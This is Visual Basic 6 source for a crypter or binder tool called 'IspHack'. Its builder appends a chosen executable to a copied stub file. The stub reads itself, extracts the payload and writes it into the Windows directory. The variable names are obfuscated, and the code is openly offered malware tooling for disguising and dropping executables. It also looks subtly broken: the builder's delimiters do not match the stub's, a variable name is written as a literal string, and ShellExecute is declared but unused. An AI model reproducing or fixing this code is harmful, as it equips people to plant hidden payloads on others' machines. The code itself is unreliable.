IspHack

Dim ywyVLBBewb1Ka5S As String
Dim Giw0cbPevoJuhhS As String, l0FqQAQywC2r5aI As String

Private Sub Command1_Click()
On Error Resume Next
CD.DialogTitle = "Selecciona el archivo a encriptar"
CD.FileName = ""
CD.ShowOpen
Text1.Text = CD.FileName
End Sub

Private Sub Command2_Click()
If Text1.Text = "" Then
MsgBox "Introduzca la ruta del archivo a encriptar"
End
End If
CD.FileName = ""
CD.Filter = "*.exe|*.exe"
CD.ShowSave
ywyVLBBewb1Ka5S = CD.FileName
Giw0cbPevoJuhhS = "|By InfinityDeath|"
l0FqQAQywC2r5aI = "|IspHack|"
FileCopy App.Path & "\Stub.dll", ywyVLBBewb1Ka5S
Open Text1.Text For Binary As #1 '
Dim c8QUD6850kmteYd As String
c8QUD6850kmteYd = Space(LOF(1))
Get #1, , c8QUD6850kmteYd
Close #1
Open ywyVLBBewb1Ka5S For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , Giw0cbPevoJuhhS
Put #1, , "l" & l0FqQAQywC2r5aI
Put #1, , "c8QUD6850kmteYd" & l0FqQAQywC2r5aI
Put #1, , "Windows" & l0FqQAQywC2r5aI
Put #1, , c8QUD6850kmteYd
Close #1
End Sub

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0
Dim gysrYggCbemyV9RtwiyX As String
Dim WqeqgFUONdBG4cvmpVj2 As String

Private Function Ruta() As String
Dim qDigBYlPZUR6lKmJSs0t As String, xiJE1zjSzKFFvrZnNSh8 As String, kdtTASmdFe6cWq98suq9 As Long
qDigBYlPZUR6lKmJSs0t = String$(128, Chr$(0))
kdtTASmdFe6cWq98suq9 = GetWindowWord(isp.hwnd, GWW_HINSTANCE)
qDigBYlPZUR6lKmJSs0t = Left$(qDigBYlPZUR6lKmJSs0t, GetModuleFileName(kdtTASmdFe6cWq98suq9, qDigBYlPZUR6lKmJSs0t, Len(qDigBYlPZUR6lKmJSs0t)))
Ruta = qDigBYlPZUR6lKmJSs0t
End Function

Private Sub Main()

On Error Resume Next
Dim QEKuAKmb9m9atGtTGVJY As String
Dim GvcNPF1Bhla23R5utaZn As String
Dim MvKkRinszxy1ZGxztKMV As String
Dim xe1K53M3jVCj15MzVS1E As String
gysrYggCbemyV9RtwiyX = "|Infinity|"
WqeqgFUONdBG4cvmpVj2 = "|IsPhAcK|"
Open Ruta For Binary As #1
Dim PdMTjPADUY9zZwq1l9j5 As String
PdMTjPADUY9zZwq1l9j5 = Space(LOF(1))
Get #1, , PdMTjPADUY9zZwq1l9j5
Close #1
Dim bEyhObPn2SSW12EozpRm As Variant, Af3EzSWJiU4Pj7wDglrx As Variant
bEyhObPn2SSW12EozpRm = Split(PdMTjPADUY9zZwq1l9j5, gysrYggCbemyV9RtwiyX)
For n = 1 To UBound(bEyhObPn2SSW12EozpRm)
Af3EzSWJiU4Pj7wDglrx = Split(bEyhObPn2SSW12EozpRm(n), WqeqgFUONdBG4cvmpVj2)
For i = 0 To UBound(Af3EzSWJiU4Pj7wDglrx)
Select Case i
Case 0
L0L = Af3EzSWJiU4Pj7wDglrx(i)
Case 1
GvcNPF1Bhla23R5utaZn = Af3EzSWJiU4Pj7wDglrx(i)
Case 2
Select Case Af3EzSWJiU4Pj7wDglrx(i)
Case "Windows"
MvKkRinszxy1ZGxztKMV = Environ("WINDIR")
End Select
Case 3
xe1K53M3jVCj15MzVS1E = Af3EzSWJiU4Pj7wDglrx(i)
Case 4
QEKuAKmb9m9atGtTGVJY = Af3EzSWJiU4Pj7wDglrx(i)
End Select
Next i
Next n
Open MvKkRinszxy1ZGxztKMV & "\" & GvcNPF1Bhla23R5utaZn For Binary As #1
Put #1, , QEKuAKmb9m9atGtTGVJY
Close #1
End Sub